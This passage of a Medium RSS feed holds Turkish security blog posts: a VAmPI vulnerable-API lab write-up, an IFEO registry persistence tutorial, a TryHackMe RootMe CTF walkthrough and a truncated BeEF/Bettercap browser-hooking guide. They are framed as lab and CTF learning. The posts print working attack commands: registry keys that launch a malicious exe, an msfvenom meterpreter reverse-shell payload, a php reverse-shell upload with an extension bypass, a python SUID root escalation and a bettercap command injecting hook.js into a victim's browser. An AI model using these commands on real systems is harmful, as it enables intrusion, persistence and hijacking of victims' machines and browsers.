yerine, anahtarları donanım seviyesinde (TEE) koruyan <strong>Android Keystore</strong> sistemini kullanan <strong>EncryptedSharedPreferences</strong> kütüphanesini tercih etmelisin.</li><li><strong>iOS (Keychain Services):</strong> Kullanıcı tercihleri için kullanılan UserDefaults güvenli değildir. Parolalar ve tokenlar için veriyi uygulama silinse dahi koruyabilen ve <strong>FaceID/TouchID</strong> ile erişim kısıtlaması getirilebilen <strong>Keychain</strong> kullanılmalıdır.</li></ul><blockquote><strong>Özetle:</strong> Güvenlik, sonradan eklenen bir özellik değil; geliştirme sürecinin bir parçası olmalıdır. Uygulamanızın dış dünyadan aldığı her veriye <strong>“şüpheli”</strong> gözüyle bakmak, sizi en karmaşık saldırılardan bile koruyacaktır.</blockquote><p>Umarım faydalı olmuştur.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ae0d8885d166" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[VAmPI | Vulnerable API Penetration Testing]]></title>
            <link>https://medium.com/@mustsec/vampi-vulnerable-api-penetration-testing-201ef46c71d5?source=rss-bcf88ce7ce16------2</link>
            <guid isPermaLink="false">https://medium.com/p/201ef46c71d5</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[endpoint-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[api-security]]></category>
            <dc:creator><![CDATA[Mustafa AĞYAR]]></dc:creator>
            <pubDate>Sun, 06 Aug 2023 10:52:00 GMT</pubDate>
            <atom:updated>2025-09-12T16:18:23.297Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>1. Vulnerable API (VAmPI)</strong></p><p>VAmPI, Flask ile yapılmış savunmasız bir API’dir ve API’ler için OWASP’ın ilk 10 güvenlik açığından gelen güvenlik açıklarını içerir.</p><p>Bu yazımda, bu güvenlik açıklarının nasıl tespit edildiği ve bulunduğuna yönelik; ne gibi tehditlere açık olduğuna ve bu tehditlerin nelere sebep olabileceğine yönelik hazırlanmış bir içeriktir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*gsDv5Epdj728YRolNZNb-A.jpeg" /></figure><h4>List of Vulnerabilities</h4><ul><li>SQLi Injection</li><li>Unauthorized Password Change</li><li>Broken Object Level Authorization</li><li>Mass Assignment</li><li>Excessive Data Exposure through debug endpoint</li><li>User and Password Enumeration</li><li>RegexDOS (Denial of Service)</li><li>Lack of Resources &amp; Rate Limiting</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*2-DAGSq4dyHgSBAHGfMAHg.png" /></figure><p>VAmPI üzerinde bulununan endpointler.</p><p><strong>2. Test Aşaması</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*JZPBytNIXHB_0DTHyXlJ-Q.png" /></figure><p>Uygulamayı kurduktan sonra tarayıcıda açtıktan sonra gelen mesaj ile kurulumun doğru şekilde sağlandığı bilgisini anlıyoruz.</p><p><strong>2.1 Broken Object Level Authorization</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*Wsl_Wf-uLTY5sAr396YA_g.png" /></figure><p><strong>/users/v1</strong> endpointe gittiğimizde tüm kullanıcı bilgilerini görüntüleyebiliyoruz. Buradan anlamamız gereken kayıtlı olmamamıza ragmen; yetkili bir kullanıcı olmadan başkaların bilgilerine erişim sağlayabiliyoruz. IDOR zafiyetine örnek gösterilebilir. Normal şartlarda yetkisiz, kayıtsız bir kullanıcının bu endpointe erişim sağlayamaması gerekir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*CwlBvPOO-r1VccpCEIQvxg.png" /></figure><p>Bir önceki örnekten yola çıkarak eğer kullanıcını adını biliyorsak ve sadece o kullanıcının bilgilerini görüntülemek istiyorsak da yine böyle erişim sağlayabiliriz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*arL36msJLHT0AizLYbmI2A.png" /></figure><p><strong>users/v1/_debug</strong> enpointine baktığımızda admin kullanıcısı dahil tüm kullanıcı mail, parola ve kullanıcı adını herhangi bir kimlik doğrulama yapmadan görüntüleyebiliyoruz. Bu durumun gerçek hayatta yaşanması çok büyük bir soruna sebep olur.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*IKn-mOumX26T4bsqOZFVCg.png" /></figure><p>Bir önceki endpointte görüntülediğimiz bilgilerin doğruluğunu tespit etmek için admin bilgilerini kullanarak <strong>users/v1/login</strong> endpointine bir <strong>POST</strong> isteği ile giriş denemesi yapıyoruz. Giriş işlemi başarılı bir şekilde gerçekleşti ve bir <strong>auth_token</strong> aldık.</p><p>Burada isteği gönderirken içerik tipi bilgisini vermemiz gerekiyor. Bunun için istekle beraber <strong>Content-Type: application/json </strong>bilgisini vermemiz gerek.</p><p><strong>2.2 Security Misconfiguration</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*hmrz0D5ij2KVfy9iAxQWyg.png" /></figure><p><strong>/users/v1/_debug </strong>endpointinde admin kullanıcısının <strong>admin true</strong> diye değer gittiğini görüyoruz. Biz de bu bilgiyi kullanarak sömürmeye çalışıyoruz<strong>. /users/v1/register</strong> endpointinde admin yetkisinde yeni bir kullanıcı oluşturmayı başarıyoruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*Dd-JZx_nbUmYnlTu5kDZxw.png" /></figure><p>Tekrar <strong>/users/v1/_debug</strong> endpointe gidip admin yetkisinde kullanıcının oluştuğunu doğrulayabiliyoruz.</p><p>Bu işlemleri normal şartlara yapamıyor olmamız gerekiyor. Bu saldırılarının başarılı olmasının sebebi arka planda doğru güvenlik yapılandırmasının yapılmamış olmamasıdır.</p><p><strong>2.3 SQL Injection</strong></p><p>Kullanıcının girdi girmesi gereken yer olan <strong>/users/v1</strong> endpointi üzerinde SQLi zafiyeti aramak çok mantıklıdır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*7NmYC-EhUPK_ieUvHMfjHw.png" /></figure><p><strong>admin’</strong> tek tırnak atarak bir sql hatası alıyorum. Bu hatadan anlamamız gereken şu verilen girdi veritabanına gitmeden önce bir ön kontrolün yapılmadığı verilen girdilerin tümünü yürüteceği anlamına gelir.</p><p><strong>2.4 Password Enumeration</strong></p><p><strong>/users/v1</strong> enpointinde kullanıcı adını görebiliyoruz ama parolaları göremiyoruz. <strong>/users/v1/login</strong> endpointinde parola tahminlemesinde bulunursak ne olur ona bakalım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*jMGohocBtjTMj15Q9By4Lw.png" /></figure><p>Password bilgisini yanlış verince mesajda şifre bilgisinin doğru olmadığını dönderdi. Bu noktada şu akla geliyor Brute-Force saldırısı ile mesaj durumu password bilgisi doğru diyene kadar tahminleme de bulunabiliriz.</p><p><strong>2.5 Lack of Resources &amp; Rate Limiting</strong></p><p>Bu başlık kapsamında tek bir kullanıcının yapabileceği istek sayısında sınır bulunmamasıdır. Örneğin, bir saldırgan, kullanıcı hesaplarını bilgi toplayabiliyorsa ve bir parola girişiminin başarılı olup olmadığına dair net geri bildirim alabiliyorsa, API oturum açma kimlik bilgilerine kaba kuvvet saldırısı gerçekleştirebilir. Bir önceki örnekte yapılan saldırı ile password bilgisi açığa çıkabileceği gibi. İstek sınırlarının yokluğunda, saldırgan doğru parola bulunana kadar gerektiği kadar oturum açma denemesi başlatmaya devam edebilir.</p><p><strong>2.6 Authenticated Testing</strong></p><p>Bu noktadan sonra işlemlerimizi kayıtlı bir kullanıcı olarak yani kimliği doğrulanmış bir kullancı olarak neler yapabiliriz ona bakacağız.</p><p>Bu işlemlere başlamadan önce bir yeni kayıt ile kullanıcı oluşturup bir auth token değeri alıyoruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*gsBllOmck_af06vhtk56ag.png" /></figure><p>Yeni bir kullanıcı oluşturduk. Şimdi başlıyoruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*1J2cAiuThngw-HHy_ROPDg.png" /></figure><p><strong>/user/v1/login </strong>endpointi ile giriş yaparak <strong>auth token</strong> değerini alıyoruz. Bu token değeri ile kimliği doğrulanmış şekilde istekler yapabilmek için kullanacağız.</p><p><strong>2.7 Broken Function Level Authorization</strong></p><p>Burada kitaplar için bir erişim sınırı koyulmuş. Her kitap her bir kullanıcı için benzersiz olarak ayarlanmış ve sadece ilgili kullanıcı <strong>secret</strong> değerini görüntüleyebiliyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*bltShjISDoQDiX9jROKJCA.png" /></figure><p><strong>/books/v1</strong> endpoint ile tüm kitap bilgilerini görüntüleyebiliyoruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*X5z3V_pMvRg3xxeq7ppEOQ.png" /></figure><p>Bir kullanıcının kitap bilgilerini görüntülemek istediğimizde <strong>Invalid token</strong> hatası alıyoruz.</p><p>Bu noktada sahibi olmadığım kitap için kendi <strong>token</strong> bilgimizi vererek görüntülemek istediğimizde ne olacağını gözlemliyoruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*mO1BqqydP9hHmptMQkkAPw.png" /></figure><p>Ve evet başka birinin kitabın <strong>secret</strong> değerini okuyabildik. Buradaki zafiyet kayıtlı bir başka kullanıcının bir diğer kullanıcının sahip olduğu kitap detaylarına erişip okuyabilmesidir.</p><p><strong>2.8 Unauthorized Password Change</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*2dermlYFKL80KKF-0lEcXw.png" /></figure><p>Burada kendi <strong>token</strong> değerimizi kullanarak bir başka kullanıcının <strong>password</strong> bilgisini değiştirebiliyoruz. Değiştirmek istediğimiz kullanıcının password değeri <strong>admin123</strong> bu bilgiyi değiştirmeye çalışacağız.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*E93Vmv00OH97BU7qljwUKg.png" /></figure><p><strong>mustafaAdmin</strong> kullanıcısının <strong>admin123</strong> parolasınıkendi <strong>token</strong> değerimiz ile <strong>mustafaagyar1903</strong> olarak değiştirmek için istekte bulunduğumuzda <strong>204</strong> durum yanıtı alıyoruz. İşlemin başarılı olup olmadığını anlamak için <strong>/users/v1/_debug</strong> endpointinden kontrol ediyoruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*TEXipA1CBHSjSv8g12Whhg.png" /></figure><p><strong>_debug </strong>endpointine baktığımızda parolanın değiştiğini görebiliyoruz.</p><p><strong>2.9 RegexDOS (Denial of Service)</strong></p><p>Burada sorun alınan mail bilgisinin arka planda bir control yapılmadan yani mail formatının gerçek bir mail adresi olduğunu kontrol etmemesidir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*scPz-ncJO_cVq2_PnqR-sQ.png" /></figure><p>Kullanıcıdan alınan değerin kontrol işlemi yapılmadığı için gerçek bir mail adresi verilmediği ve rastgele değerler göndererek uygulamaya olması gerekenden fazla çalıştırır.</p><p>Umarım faydalı olmuştur. İlginiz için teşekkürler :)</p><p>Bu kaynak için daha fazlası ve kurulum işlemlerine aşağıdaki adresten bakabilirsiniz.</p><p><a href="https://github.com/erev0s/VAmPI/blob/master/README.md">VAmPI/README.md at master · erev0s/VAmPI</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=201ef46c71d5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Image File Execution Options Injection Tekniği ile Persistence Yöntemi]]></title>
            <link>https://medium.com/@mustsec/image-file-execution-options-injection-tekni%C4%9Fi-ile-persistence-y%C3%B6ntemi-426e746dcba2?source=rss-bcf88ce7ce16------2</link>
            <guid isPermaLink="false">https://medium.com/p/426e746dcba2</guid>
            <category><![CDATA[mitre-attack]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[persitence]]></category>
            <category><![CDATA[apt-group]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Mustafa AĞYAR]]></dc:creator>
            <pubDate>Thu, 03 Aug 2023 15:23:19 GMT</pubDate>
            <atom:updated>2023-08-03T15:23:19.901Z</atom:updated>
            <content:encoded><![CDATA[<ol><li><strong>Giriş</strong></li></ol><p>Bu yazımda, Mitre ATT&amp;CK üzerinden APT gruplarının Windows sistemler üzerinde Persistence yöntemlerinden bir tanesi olan <strong>Image File Execution Options Injection (IFEO) </strong>tekniğine<strong> </strong>değinmektedir.</p><p><strong>1.2 Image File Execution Options Injection Nedir</strong></p><p>Saldırganlar, <strong>Image File Execution Options (IFEO)</strong> hata ayıklama araçlarını kullanarak tetiklenen zararlı içeriği çalıştırarak kalıcılık sağlayabilir veya ayrıcalıkları yükseltebilir. Örneğin, bir saldırgan IFEO’yu kötü amaçlı bir hata ayıklayıcı ile düzenleyebilir ve bir uygulama başlatıldığında, zararlı kodu çalıştırmak için hata ayıklayıcıyı kullanabilir. Bu, saldırganın kalıcılık sağlamasını veya daha fazla ayrıcalık elde etmesini sağlayabilir.</p><p><strong>2. Saldırı Senaryosu</strong></p><p>Saldırı Senaryosu Sisteme sızmak için gerekli <strong>payload </strong>oluşturulduktan ve sonrasında sisteme erişim elde etdikten sonra <strong>persistence(kalıcılık)</strong> sağlamak için yukarıda bahsettiğimiz<strong> IFEO</strong> tekniğini kullanarak sistemde kalıcılık sağlayacağız. Bu saldırıda kurban <strong>Notepad.exe</strong> uygulamasını her kapattığında arkada oluşturduğumuz tetikleyici sayesinde kalıcılığı elde etmiş olacağız. Bu tekniği uygulamak için erişim elde ettikten sonra aşağıdaki komutları kullanıyoruz.</p><p><strong>CMD Komutları:</strong></p><ol><li>reg add “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe” /v GlobalFlag /t REG_DWORD /d 512</li></ol><p>2. reg add “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe” /v ReportingMode /t REG_DWORD /d 1</p><p>3. reg add “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe” /v MonitorProcess /d “C:\Windows\temp\zararli.exe”</p><p><strong>2.1 Komutlar Ne Yapıyor</strong></p><p>Bu komutlar Notepad.exe uygulaması için Registry Key (kayıt defterinde) değişiklikler yaparak uygulamanın çalışma durumunu etkilemeye çalışmaktadır.</p><ol><li>Komutumuzda notepad.exe için kayıt defterinde bir değer ataması yapma işlevi görüyor. Bu sayede uygulamanın çalışma mantığını değiştirmeye çalışıyoruz.</li><li>Komut ile notepad.exe uygulamasının sessizce kapatılması yani kullanıcıya bir uyarı geri bildirim vermeden raporlama yaparak uygulamayı otomatik kapatmasını sağlar.</li><li>Komut notepad.exe uygulaması kapatıldığında bizim zararlı dosyamız olan zararli.exe uygulamamızın otomatik olarak başlamasını söylüyoruz.</li></ol><p><strong>2.2 Sızma ve Erişim için Payload Oluşturma</strong></p><p>Bu aşamada farklı yollarla zararlı yazılım oluşturulabilir. Ben msfvenom kullarak backdoor oluşturmayı tercih ettim.</p><p><strong>msfvenom -p windows/meterpreter/reverse_tcp lhost=’saldırgan Ip’ lport=’dinlenecek port’ -f ‘format türü’ -o ‘çıktı’</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*ZRnu4gIQcIMAS1JGm_akBA.png" /></figure><p>Payloadımız oluşturduktan sonra bunu kurbana iletmek için sosyal mühendislik teknikleri kullanılabilir. Biz burada lab ortamında test yaptığımız için kendi sunucumuzda dosyayı indirme yapıyoruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*yFNee50k5XIX1xCMcJ6YuA.png" /></figure><p>Erişimi elde ettikten sonra asıl olayımız olan Persistence (Kalıcı olma) işlemine geçiyoruz.</p><p><strong>2.3 Persistence Aşaması</strong></p><p>Burada raporumuzun başlarında bahsettiğimiz Persistence olma tekniklerinden olan;</p><p><strong>Image File Execution Options (IFEO)</strong> tekniğini uyguluyoruz. Burada kullanılan komutların açıklamalarına yukarıda değinmiştik.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*9ZTzC4e4WHgPWDVn3-lJfw.png" /></figure><p>Tüm bu komutları uyguladıktan sonra bir sağlama yapmak için kayıt defteri üzerinde değişiklikleri kontrol ediyoruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*F6JM6n6LEc95_fgDbWTAnw.png" /></figure><p>Kayıt defterinde sessizce çalışacak uygulamızı görüntüleyebiliyoruz. Burada görünen temp altındaki zararli.exe dosyamızın yolu gözükmektedir. Yani işlem başarılı gözüküyor şimdi test etmeye geçebiliriz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*aAUt05cMk35pERa45NioCA.png" /></figure><p>Kalıcılığımız sağlanıp sağlanmadığını anlamak için var olan shellimizi erişimizi koparıyoruz ve tekrar dinlemeye başlıyoruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*rJNgqt4LCV0FnU_x-Zb0yQ.png" /></figure><p>Dinlemeye aldıktan sonra notepad uygulamasını çalıştırıyoruz ve sonrasında uygulamayı kapatıp bağlantımızı alabiliyor muyuz onu gözlemliyoruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*cc9BF4nZbP5nFBsVd-1iwA.png" /></figure><p>Evet görüldüğü üzere Persistence tekniğimiz işe yaradı ve 6. Session ımızı almış olduk. Bir de windowsu kapatıp tekrar açıp sonrasında notepad uygulamasını çalıştırıp tekrar uygulamayı kapatarak tekrar deneme yapıyoruz. Bu işlemi aşağıdaki görselde görebiliriz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*k_FsH2OaJmXs-u0t-TLOlw.png" /></figure><p>Persistence tekniğimiz gayet başarılı şekilde çalışıyor. 6. Sessiondan 7. Sessionmızı alarak da bunu kanıtlamış oluyoruz.</p><p>Bu teknik ve daha fazlası için; aşağıda bıraktığım adreslere göz gezdirebilirsiniz.</p><p><a href="https://attack.mitre.org/tactics/TA0003/">https://attack.mitre.org/tactics/TA0003/</a></p><p><a href="https://attack.mitre.org/techniques/T1546/012/">https://attack.mitre.org/techniques/T1546/012/</a></p><p>Umarım faydalı olmuştur. :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=426e746dcba2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe | RootMe CTF write-up]]></title>
            <link>https://medium.com/@mustsec/tryhackme-rootme-ctf-write-up-3a8c3e400a4c?source=rss-bcf88ce7ce16------2</link>
            <guid isPermaLink="false">https://medium.com/p/3a8c3e400a4c</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <dc:creator><![CDATA[Mustafa AĞYAR]]></dc:creator>
            <pubDate>Mon, 30 Jan 2023 06:30:28 GMT</pubDate>
            <atom:updated>2023-01-30T06:32:24.974Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*eZtveC_ybL7I2vdNlA6QXA.png" /></figure><p>Herkese Merhaba,</p><blockquote>Bu yazımda <strong>TryHackMe</strong> platformunda bulunan <strong>RootMe</strong> makinesinin çözümünü anlatacağım. Keyifli okumalar.</blockquote><p><strong>Makinenin çözüm adımları 3 aşamadan oluşuyor:</strong></p><p><strong>1-Keşif</strong></p><p><strong>2-Shell alma</strong></p><p><strong>3-Yetki yükseltme</strong></p><p>İlk olarak hedef üzerinde port ve servis bilgisi için nmap taraması başlatıyorum. Tarama sonucunda <strong>22</strong> ve <strong>80</strong> portlarının açık olduğunu görüyoruz. <strong>nmap -sV -A -T4 $hedefIp</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*fxpmlmJ9DCTF2eLqKg7EGQ.png" /></figure><p>Bunun üzerine web sitesine gidiyorum. Ve bizi aşağıdaki sayfa karşılıyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*Wgr1POOzc5BRQe4xb2vbow.png" /></figure><p>Gobuster aracını kullanarak site üzerinde dizin taraması gerçekleştiriyorum. <strong>gobuster dir -u 10.10.54.87 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*-oSP44D_ua3clpMf42F70w.png" /></figure><p>Dizinlere göz gezdirdikten sonra dikkatimi <strong>/panel </strong>uzantısı çekiyor. Bu sayfa üzerinde dosya yükleme işlemi gerçekleştirebiliyoruz. Buraya reverse shell bağlantılı dosya yükleyerek shell almaya çalışabiliriz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*Te9slqDnuG702msc8_HPoA.png" /></figure><p>Kali içerisinde yüklü gelen webshell içerisindeki <strong>php-reverse-shell.php </strong>dosyasını editleyerek kullanılacak hale getiriyorum. <strong>$ip</strong> kısmına openvpn ile bağlantı sağladığım için o ip adresini giriyorum son olarak <strong>$port</strong> belirttikten sonra kaydedip çıkabiliriz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/1*NONR7zX-sxG6L4yC0uNjbA.png" /></figure><p>Dosyayı yüklemeye çalıştığımda bana izin vermedi. Bunu aşmak için klasik bypass yöntemlerinden dosya uzantısı adını değiştirerek tekrar deniyorum. <strong>webShell.php</strong> uzantılı dosyayı<strong> webShell.php5</strong> olarak değiştirip tekrar yüklemeye çalışıyorum. <strong>mv webShell.php webShell.php5</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*YaNhwqGATksw4ihv13CB9w.png" /></figure><p>Ve başardık dosya yüklendi. Sonraki adım olarak /uploads dizinine gidip dosyamızı kontrol ediyoruz. Ardından netcat ile bağlantı almak için belirlediğimiz portu dinlemeye alıyoruz. <strong>nc -nvlp 8686</strong></p><p>Dinlemeye aldıktan sonra /uploads üzerinde bulunan <strong>webShell.php5</strong> dosyasına bir kere tıklamamız bağlantı almak için yeterli.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*JB7uZkAh-dWyyTyk14dsbg.png" /></figure><p>Shell bağlantımızı aldıktan sonra interaktif shell almak için şu komutunu kullanıyorum. <strong>python -c ‘import pty; pty.spawn(“/bin/bash”)’</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*EDkKkMKGl-jE0ZvsbIEnsA.png" /></figure><p>Daha sonra bizden istenen <strong>user.txt</strong> ve <strong>root.txt</strong> dosyalarını aramaya başlıyorum. İlk olarak <strong>user.txt </strong>dosyasına bakınıyorum.</p><p><strong>find / -type f -name user.txt </strong>komutu ile dosyayı arıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*lilCtyOHWNB8hEHi0760eg.png" /></figure><p>İlk flag dosyasına ulaşıyoruz. <strong>/var/www/user.txt </strong>altında yer alıyor.</p><p>Son olarak root.txt dosyasına ulaşmak için root olmamız gerekiyor. Bunu da yetki yükselterek gerçekleştirebiliriz. SUID iznimizin olduğu dosyarı bulmak için şu komutu çalıştırıyorum. <strong>find / -perm -u=s -type f 2&gt;/dev/null</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*OmRkibcx1Ch3rqlFQLFlMw.png" /></figure><p>Bunlar içerisinden en dikkat çekici python gözüküyor. Çünkü python kullanarak yetki yükseltmesi yapabiliriz.</p><p>Nette biraz araştırmam sonucu <strong>python -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)&#39; </strong>komutu ile yetki yükseltebileceğim söyleniyor. Bunun için ilk olarak pythonu çalıştırabilmek için<strong> /usr/bin/</strong> dizinine gidiyoruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*bdZh2q9x_Xhgczf_Pmvrrw.png" /></figure><p>Son aşama olarak root.txt dosyamıza ulaşıp flagı okuyabiliriz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/470/1*AHv4v2uf5CFLqjmCQ83Itw.png" /></figure><p>Umarım faydalı olmuştur. İlginiz için teşekkürler :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3a8c3e400a4c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BeEF Framework Aracı ile Yerel Ağda Sızma Testi]]></title>
            <link>https://medium.com/@mustsec/beef-framework-arac%C4%B1-ile-yerel-a%C4%9Fda-s%C4%B1zma-testi-a86fa86107e?source=rss-bcf88ce7ce16------2</link>
            <guid isPermaLink="false">https://medium.com/p/a86fa86107e</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[browsers]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Mustafa AĞYAR]]></dc:creator>
            <pubDate>Wed, 28 Sep 2022 16:25:23 GMT</pubDate>
            <atom:updated>2022-09-28T16:32:05.564Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>BeEF (Browser Exploitation Framework)</strong> nedir?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*QmhTDYcrc5rTULdEJCYaXQ.png" /></figure><p>Web tarayıcılarına (bilgisayar ya da mobil) yönelik Penetrasyon Testleri uygulayabileceğimiz bir Pentest Aracıdır. Hedef bilgisayar veya mobil tarayıcısında javascript kodu çalıştırılarak ters bağlantı oluşturulur.Bu işlemden sonra hedefin tarayıcısı sömürülmeye açıktır. Örnek bağlantı aşağıdaki görselde mevcuttur.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*bwKOn06V9y4YgcH6bc3xAw.png" /></figure><p>Beef kalide halihazırda yüklü gelmektedir. Eğer gelmezse;</p><p>“<strong>apt-get install beef-xss</strong>” komutunu kullanarak indirebilirsiniz. Daha sonra çalıştırdıktan sonra yeni parola oluşturabilirsiniz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*S6Vasihq4u83gP4i1jkitw.png" /></figure><p>“<strong>beef-xss</strong>” komutu ile çalıştırıp geri sayımdan sonra bizi beef paneli karşılayacaktır. Eğer panel açılmazsa “<strong>Web UI</strong>” linkine tıklamanız yeterlidir. Açılacak arayüz aşağıdadır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wXos_fkwUobklZcHzn4u-A.png" /></figure><p>username beef parola ise oluşturmuş olduğunuz parola ile giriş sağlayabilirsiniz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LfJR9vjw8v-T5AvM5xIaWg.png" /></figure><p>Bu saatten sonra hedefi oltaya takmaya başlayabiliriz. Hefefte bağlantımız süreklilik kazanması için “<strong>javascript kodu enjekte</strong>” edeceğiz bu sayede kurban hangi siteye giderse gitsin erişimimiz devam edecek. Bu işlemleri “<strong>Bettercap</strong>” aracı ile yapacağız. Kullanacağımız dosyalar beefcustom klasörü içerisinde yer almaktadır netten ulaşabilir ve indirebilirsiniz. Ya da kendiniz konfigüre edebilirsiniz. Aşağıda gösterildiği gibi;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*NNvnG6zjlHTqgK1YJv3ZIQ.png" /></figure><p>dosyaları leafpad ya da başka editörle açıp konfigüre edebilirsiniz</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*Tpv6W8w09LEtFP7MS21MbA.png" /></figure><p>targets yerine hedef kurbanın ip adresi yazılacak.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*IvXuywp_-RPqi_sVrkPmmg.png" /></figure><p>hook.js kodundaki ip yerine kalinin kendi ip adresi yazılması gerekiyor.</p><p>Tüm bu işlemler bittikten sonra bu dosyaları bettercap klasörünün altında bulunan caplets altına koyabilirsiniz veya istediğiniz bir yere path size kalmış. Aşağıdaki komut ile karşı tarafın tarayıcısına js kodunu enjekte ediyoruz.</p><p>“<strong>bettercap -iface eth0 -caplet /usr/local/share/bettercap/caplets/beefcustom/beefcustom.cap</strong>”</p><p><strong>not: </strong>.cap dosyasının yolu tam olarak doğru yazdığınızdan emin olun :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*JE2Icw-Ylpp35V2Np8c8PA.png" /></figure><p>Bu işlemden sonra hedef oltaya takılacaktır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*oJq8mENFRXoCWQBCn-TpaA.png" /></figure><p>Kırmızıyla gösterilen alanda kurbanımız oltaya takılmış; online durumdadır. Bu saatten sonra beef`in commands sekmesinden modüller ile tarayıcıyı sömürmeye başlayabiliriz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*6jUYHcRORyr4jjCJtm-APA.png" /></figure><p>Kırmızı renkle gösterilen yerde modüller bulunmaktadır. Ben birkaç modülü göstermeyi tercih ettim. Dileyenler diğer modüllerin kullanımını araştırabilir.</p><p><strong>CREATE ALERT DIALOG</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*e6HYClvRjjevfulk0CxAPg.png" /></figure><p>Hedef tarayıcıda uyarı niteliğinde pop-up çıkarmak için <strong>alert</strong> kullanımı.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*n3nQSTU2JGtizjvFe-vdDA.png" /></figure><p><strong>SPYDER EYE İLE SCREENSHOT ALMAK</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*6eJoW4rwpVtPv8O_uNdRTw.png" /></figure><p>Bu modül ile hedefin tarayıcısında 